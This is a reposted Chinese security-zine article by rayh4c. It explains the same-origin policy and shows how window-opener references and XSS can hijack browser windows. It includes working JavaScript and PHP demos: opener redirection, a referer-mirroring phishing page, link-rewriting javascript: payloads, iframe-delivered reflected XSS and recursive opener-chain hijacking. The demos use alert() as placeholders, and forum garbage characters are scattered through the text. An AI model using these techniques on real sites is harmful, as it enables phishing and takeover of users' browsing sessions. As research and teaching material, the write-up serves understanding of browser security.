中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==. {; r" Y- K1 D8 x

8 y3 B/ [* F# D. A7 M3 M) _                       Issue 0x03, Phile #0x05 of 0x077 k+ u! x2 D& m! D: @) T

* Z2 u# d2 B" Q3 z1 Z( `8 X% G4 }/ c' ~' L, Y
|=---------------------------------------------------------------------------=|! d8 v5 y* h' D
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
" d1 p) ?# L8 L+ j7 ?) W|=---------------------------------------------------------------------------=|3 _( i1 a/ f( [6 C( r" y  y: Y9 m
|=---------------------------------------------------------------------------=|4 l* ~1 ~& z7 ]& E+ D' C
|=------------------------=[      By rayh4c     ]=---------------------------=|
. _: T  k) X) ]! _) o|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
4 D! E! Q# R+ t$ `2 T' q|=---------------------------------------------------------------------------=|
& u2 [4 w7 o9 u9 N; l. v1 I
$ x* r6 I' I) k$ X7 ^* ]
& |: J& u& Z6 n: x[目录]
# x/ n& G# s& V" E9 P- O/ F2 h9 @/ o! V" U3 r# u
1. 前言
# |( l; u0 Z6 x: X( j+ p4 j2. 同源策略简叙" W+ m) b5 {8 M6 \
3. 理解window对象的同源策略
1 ]. n9 l! X. D4. 窗口引用功能中的同源策略漏洞
* h- z) j6 {  u  \# z! V2 k) c) i  4.1 父窗口引用子窗口的同源策略问题
0 t$ _& S0 S% N- E* t0 P  4.2 子窗口引用父窗口的同源策略问题- V; G% ?9 C" b
5. 利用窗口引用漏洞劫持浏览器
; Y1 L& T) t, A: w7 G. t3 ~& W6. 利用XSS漏洞劫持浏览器
: o, _+ c* T4 H! X* y  6.1 正向跨窗口劫持
9 f; u8 F+ W" Z1 Y3 j' o) B  6.2 反向跨窗口劫持
1 ?& i, v- }0 G) i; R  6.3 极度危险的跨框架窗口引用劫持
6 [  T. p# s* m9 M' m  6.4 极度危险的正反向跨窗口递归劫持# F& \- g5 u4 {0 I9 S- c
  6.5 完全控制浏览器) B0 |7 D" n: @
7. 后记
+ V% x1 C/ q8 M; F4 |) o# E0 I8. 参考
& }3 b! Q9 L6 L; o" t
( D5 }* U% H2 F9 v6 k$ W% E; o0 K5 b& P- p9 y7 X- w/ s. G4 a
一、前言
) T! I  g& ~5 x( S) s( ^, N# H  `2 X1 K$ _( r4 @* }
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋% C8 M' a. V8 o5 X: V+ v. M" }0 C
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
) a- R) ^( k; b! x# d4 m( w$ t劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
; |/ J: T( P/ G8 K" C# o! p条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。: ?. F: a9 o$ X! H

, Y, K7 y! R2 l1 P6 J9 q8 g" o4 P5 l8 e8 I$ F6 z+ C, \5 Y
二、同源策略简叙" C, k# j) j  E8 o; R
* E9 `3 x$ B1 q! d0 U7 c
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以# Z  Y* z& Z! F9 i/ }
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都0 }. |$ \* o. Y$ m3 L
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
8 w" s! f  K' x6 t/ @马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
. x" R2 s' G- K2 c) ~  K漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。& W/ \. y+ C! B1 d& H5 w! i

! V( q$ p; l  o6 C& ^* E: D3 f( k5 N+ X) h3 q/ S6 Q- o" ^: x
三、理解window对象的同源策略5 b( o8 e; t/ j% a/ y5 E8 ~
6 Z5 D0 o+ m2 X  v
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对$ G8 _; g+ H0 R7 [  h
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
( E7 f! m9 p! m$ \8 y- X- `. A  V% Z  i; U1 [& u4 r3 y' L2 d6 m4 k
--code-------------------------------------------------------------------------' u1 D0 @* j, O; P. Q/ s" i9 ?* e
<script language="javascript">
% ]) }6 r  u2 D- ]  A3 V5 B6 ^for(p in window) document.write(p+"<br>");" f6 \& P+ i3 d* M. e# L
</script>
: g& c7 R: o: e; S* v-------------------------------------------------------------------------------
4 w) _. F/ R, E+ Y# h$ r% g3 K
7 X0 ]9 X; c# c+ b( I% L; ^    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方- h2 c; o& W- r  j; R  ~) L" \
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,1 l! l# v; ?0 l3 ~9 \9 H/ v4 [2 O
这些属性和方法就必须遵循同源策略。
$ y" r+ g  u3 y( z8 j$ h. S
" V( Z' J* a; [. ]1 D    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那5 Y8 P. G/ A# @5 U6 C0 n
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
6 M' O! \4 V( l% Z% M& A; K的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这5 Q1 f; B$ y7 D7 V
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
2 p& @3 E8 {5 `; j" m* c值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location) t' G. [$ a' L6 G  {' G7 h
属性并没有被拒绝访问。
# U' ^& b  f0 p; u' ?: C' k- F6 W
--demo.html--------------------------------------------------------------------: e. n; D  o9 q" S( a5 A% C* ~
<script language="javascript">   5 S% G* |9 p+ D& k# O6 N
function allPrpos(obj) {      
4 E: ~! \0 e8 Z7 C/ X& o, h) A      var props = "<table><tr><td>名称</td><td>值</td>";           ' ~6 `" L( P0 a% n; n
      for(var p in obj){          ( F& o6 A  N  I+ I/ z$ K: A4 g
            if(typeof(obj[p])=="function"){   , Q- _- o* G: ?' Q
                   obj[p]();   2 t, U; M& n, I& I/ h/ F
             }else{                     
( H0 V+ ?* i9 u                  try   
5 O6 }( P+ u  i                   {   
, ?$ @7 B5 j/ |6 u+ N' T                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
" W+ O4 M; I* @                   }   0 q9 |9 T/ R: z% m
                  catch (ex)   / L2 ~4 v1 ^9 B4 C8 S
                   {   
; [) Z' k" _0 k8 V0 F) o) o* D2 c6 W                  
3 A! @$ y/ {$ T3 W' f) k1 q                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   ' ^, x5 E* O8 n8 a' f# x9 M+ j
                   }   % k1 g" N& L& v( F
                       8 T$ y9 f2 G8 I: D2 T
             }     o  }5 U+ O) P" K7 H( `: C9 `
       }   
5 N+ S7 k& F7 z3 T6 k- M/ a, F   ; [' S7 L0 {( r2 S2 m8 d
       document.write(props+"</table>");   % |6 I2 \' V) ]- v, O6 T" C
}   
' r6 R  L. Z( p  b$ G  C4 {$ W; @   1 S4 I3 X1 x# K/ _6 b! _  M
function createWin() {
, P1 ^% I0 q* n4 i! C% G        newWin = window.open ("http://www.google.com");  5 p2 _2 S+ y, T) B( F
        setTimeout(function(){allPrpos(newWin)},2000);
2 {- m5 D7 o. K# K7 w" h} 8 P7 p" g/ N( x* H7 m
, N! q) ^0 [9 c
</script> % D3 R  v  c, ^/ R- z3 r
8 g/ J& M4 [! e% [9 b0 d
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
2 m4 b- w; H* E6 X; X5 j+ F-------------------------------------------------------------------------------  B$ m7 S. V* v6 A3 `3 G

+ c* u) c2 t( u% S/ S: S  Q7 U3 m  b, E- H7 \
四、窗口引用功能中的同源策略漏洞
- {( x. r: Y2 D# w$ m9 v1 v/ z) _8 i! G% i8 v1 {' A# q
4.1 父窗口引用子窗口的同源策略问题
4 M6 w# E# I; n8 u9 A7 e3 I% K* g
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
/ T- D1 g3 x, @' h! k但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
1 M7 [  k( n6 e6 e" z/ _浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
, v, i- ~$ [8 J4 x行测试,会发现父窗口可以控制非同源子窗口location属性值。: G: x3 c" T4 t8 e! \( H
0 X' `  w4 D3 d" T6 s
--vul1.html--------------------------------------------------------------------. I" s5 A4 H& q4 v; y4 \
<script language="javascript">
0 F6 H1 b6 V/ K% H6 ^3 X0 pfunction createWin() {  
) K" G" k* J' Q  A1 ?* V        newWin = window.open ("http://www.google.com");  
- s# O" V! ^- A; j" a& Q" @! V        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); - y/ _. P$ ], S4 i, a3 G8 C5 ^
} * C  w- d) ^% K6 F! U6 g4 }0 a
</script>
* `3 h2 G# v  x3 a7 V  R3 A9 v6 c3 I7 a$ x4 }
<button onclick='createWin()'>创建一个非同源子窗口测试</button>, v! L# N# E0 H
-------------------------------------------------------------------------------8 q9 L; w/ `' [
& m! Y- A! _' n3 M( w# Y

1 D/ Z6 V$ \3 z) L$ ]4.2 子窗口引用父窗口的同源策略问题' Z" ^. t+ K/ W
; Z' t0 X# {/ R: H0 V9 F
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
  S5 B& d+ f, R- D. D4 V( Q2 S用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们* Y* u5 \/ \0 ]. i+ k
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定# p. ?2 |7 e' h" |
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
4 G6 A7 P  L$ P, n- s6 e7 r6 \3 w3 [2 g1 q
* p+ W- W* {9 H9 Y: K6 H--code-------------------------------------------------------------------------
8 J+ y7 m1 z: G, o9 L1 f4 q6 ~8 i9 e. h" V2 D
javascript:window.opener.location = "http://www.80sec.com";void(0);  z& Q( W, J: }& J$ J& }6 V
# M, z5 d. G( J3 @  p: q. u5 P5 n
-------------------------------------------------------------------------------1 }4 s+ V- y( J

0 Z& Z3 {. M" ?3 s. a$ s: R0 `
1 K$ H1 }9 a! ?1 l/ ?6 A+ D8 i+ x五、利用窗口引用漏洞劫持浏览器* E! K7 \- E0 L/ c8 \1 F+ [) A5 G: g
6 q5 b" S2 U2 ]; ^- z
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子6 M+ h) {* p/ i' e( X" \2 e, X
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那" @! R% g# z# t1 J; }- }0 I7 u
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。7 p2 [9 h( L" E7 {; M, O; {

4 u* G( m& F. s9 i    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
7 R6 F0 Y- a6 U9 @3 |( p生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
4 c! P: D0 H* d; B: a者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接( d& i$ M9 l# f0 S7 F) `% K, {; {
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下, w. c/ L* J' ?- D2 a8 n
会产生什么可怕的后果。
+ d7 h% y' k( L3 T
5 _/ i8 w$ d6 }" B$ j+ l. v4 f& C; I    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
* O' x6 I1 a/ _/ l# H4 N们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php8 Y& J! u% N7 L/ Q* ^/ ]2 X
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时* [3 V% Z3 N8 t# P8 T% _8 b
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可* Y$ k9 y' X2 C: M( F7 E
以做更多的事情,所有的一切仅仅是因为点击了一个链接。, t. H/ k# ^- M+ L& @+ R

: O2 K2 R) d, M0 v- H--hjk_ref.php------------------------------------------------------------------
7 O2 E2 V0 D0 M, r* S7 x<?php
8 G0 `- S0 Z& u2 J( w7 i" {if (array_key_exists("HTTP_REFERER", $_SERVER)) {+ ?" m  R, Q4 y5 u9 ~' @2 l
$Url_Mirror = $_SERVER["HTTP_REFERER"];) }( F) M& t3 L$ D* e6 q
} * v" g' i1 i  A0 f
if(isset ($_GET['ref'])) {
' ~8 Z2 E1 w3 L* C, p5 i2 Gecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';* x3 N$ l! |" i
}4 p; `7 r& _' j4 ~7 R" `
?>
: J* P4 a9 L3 l" R( G. a  W/ j- W
( L9 E6 K" [/ S0 C$ ~7 _! x6 T<script language="javascript">, S+ `7 w) R, w! X, a
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         " a$ {8 l5 {0 W2 ^+ ~
</script>
& ~# g+ x+ `7 b( s/ Z% e* m-------------------------------------------------------------------------------+ W2 w% K6 `% Z  \2 U6 ~! X
# o9 }5 K! D; h* j8 y/ r( G
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
+ y7 s: I- W5 {2 ]6 Z) t( `5 S& I. Z. e: g) \  _
8 r+ M4 U  b& T  ?" e
六、利用XSS漏洞劫持浏览器: c: o$ w5 P* z2 ]3 s3 v( Q

/ c7 q, J4 H7 g; c, C3 B7 E2 f. ^    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
+ D1 t( ~2 d/ k5 F持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后8 H+ T3 ^9 j* F
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
* ^$ y7 k4 K! @0 ^/ A! g2 E讨论跨站师的终极技巧:
8 x7 _+ \9 w7 p9 k7 f( {5 r- m# D" y# V+ t2 l

. i( p( Z) Y1 ?/ k+ J' O# d6.1 正向跨窗口劫持
4 H$ L$ d5 I8 ?% m/ S- M- o7 r- {# B( J; f; @
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛. @: Z- E; n2 t6 o/ \1 R
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
4 h9 I! l2 j% h( M/ a2 ?; N+ C接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话3 b$ X) v7 G0 R6 Q
框脚本。
  N# U1 @# G0 S4 h; {% O/ F+ ^
" [: {8 h& L7 {4 L--hijack_open.js---------------------------------------------------------------
1 _" A# P1 m8 [; d5 k! A8 y
, _# c+ m: r2 V* _  N" vjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
+ _+ g1 ?9 F4 T9 u$ o: O& K& ~: ]) o2 o- b' ^' E$ c4 V  W- K
-------------------------------------------------------------------------------
( ?3 p: ?; p3 {; x# D6 H0 B- ?8 ], z" ]9 Q$ `/ r
/ R+ i- A3 d8 n' Y% K+ i
6.2 反向跨窗口劫持
/ v0 F" h% r1 u, X; N# O# m6 D5 P3 v2 y) D% O, H
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
" t% V( s3 {- T* ~码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
( R. B' T" ^: J框脚本。, U1 }$ D/ M* w/ k' U- c, }. a! P
$ J( y) D! t5 ^
--hijack_opener.js-------------------------------------------------------------
0 y. ?4 L3 m( u0 L0 |
0 \- T, d3 k6 c9 k0 tjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
, W, e. v% F# I$ G' |% K& s# ~9 v* \1 s& z/ t' W
-------------------------------------------------------------------------------
2 c1 V7 h2 p, c1 g
; j) W8 H# e' q7 A0 J( M4 Q; T/ y5 v; Y6 Y5 h- B
6.3 极度危险的跨框架窗口引用劫持& w- I! \3 O/ A  O' I8 b; N# J! i
' O7 h; \; H& A7 p. m6 [1 W8 [2 t
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞0 S; K7 j1 n( U6 N2 o4 Y
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
1 x$ n3 g' p; F7 h2 M2 f* h适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
3 Z* Z7 J9 u& j非持久型的XSS,如下:8 S0 r  N& y4 f7 C5 Y0 S
" t: y  Y( `3 s7 |: m
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
" u6 ^. G1 A# ~- X0 H$ y4 T1 B# f% E4 ^6 z0 T
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
9 u1 Q2 K5 t  y1 v9 T! f: }注入脚本。% f% |5 Z) e/ B0 w! E
7 g5 t9 c! ]. K' {: J
--hijack_frame_opener.js-------------------------------------------------------- e" k! w$ [9 Q# P, l3 @; e6 t' H' F1 e
<script>4 L( ]) }( z4 _+ K2 q% A- J& B
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";, o) L; a4 H. ]- [* g
</script>7 {  x: h# b2 V6 t* J! I
-------------------------------------------------------------------------------# p5 ^* L- y- a  h3 l( z' E! J
* K) z" h; j: X5 i: M

- Q  Q7 g5 d4 b6.4 极度危险的正反向跨窗口递归劫持
' T/ H7 Z' i3 \6 v' P/ U! I. t
( t+ w/ N" J' A$ u    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
1 [% G+ V! B# u7 N' Q: v' q* ^# I! A的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过. {( L" B. |& N+ u6 n$ k6 F
异常处理规避之间跨域页面的访问异常,代码如下:
% x( N. l% t; a  A" [' @9 U6 d5 |
8 f1 W% a; S- ]" t: t+ ^; }7 Q--code-------------------------------------------------------------------------
( V' m9 _# _% W  |
$ c9 I* M9 f( ?" l: n2 Yjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
0 L7 t) s' Y- g: T  ^# D' j6 |# d2 O% M8 r# u+ e
-------------------------------------------------------------------------------
* |5 K1 j# Z0 J5 p0 {( H
' P# {( o' U& x    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
  Q0 F2 ]/ I' i* v5 }以劫持B域之前的A域页面,从而实现“隔空打击”。
) m& u& J. L2 ~# h' [% }$ u3 ?6 D4 k
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
% I$ ^4 Z8 c" w% A, P- l执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
3 ], ?# @' i; k% J4 n! c) f0 R. j- B! C, \+ s, o( m4 E+ c
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。$ O& V1 R) K( m9 N: f3 s  c- r6 ]

  }* m8 P2 V5 L. I9 i
7 V$ E2 G, k: W; b  V6.5 完全控制浏览器
2 p& T# \3 v3 x7 x2 @( D
0 K+ R0 W: ?. u    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则& t8 x6 X2 ^7 n7 d5 A3 @
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
% }) Z; w  Q1 |1 m漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
9 L! u* n6 N; e) I而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
% q% Y& U6 i0 v2 c% P) Z. O列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站7 f  l' I. A3 X/ j$ f
师的终极目标 - 完全控制浏览器。
0 O0 }& R, z# \, @" M% b9 Q- R: }8 n6 E: T6 R2 F
: g" ]7 c! |9 j
七、后记
! u. ~4 \+ f0 i; A- }0 M$ {' s9 L9 u/ ?. t; I
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
4 q7 E7 R, z9 A! ~( E! V; @与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予6 o0 o; X* T3 R: O
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。5 J* s# C; P, V. O1 |

2 l0 f  a( |# n. H* I8 o" Y/ L$ Q- O; I, N6 d$ b. m
八、参考+ l8 W6 O, U$ S0 G' B
/ _0 |2 y% D* S, l! R1 ~
1. http://en.wikipedia.org/wiki/Same_origin_policy
  o! O, g7 j- x. w$ e9 Y  a& l9 ^2. http://code.google.com/p/browser ... licy_for_DOM_access! [% ?5 v- L( i) l' m3 N! S- `" j
3. http://www.w3.org/TR/Window/
' j1 l2 o5 Z) f# y4. http://www.80sec.com/release/browser-hijacking.txt
$ O; F/ K  e4 k. {, e5. http://www.80sec.com/all-browser-security-alert.html2 d! S+ r7 }0 }6 ^" s; |  h
6. http://www.80sec.com/ms08-058-attacks-google.html1 H& E$ {7 c# @- W4 v& Y( J8 {

& `  F, J! L2 q* b9 G' n% n-EOF-




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2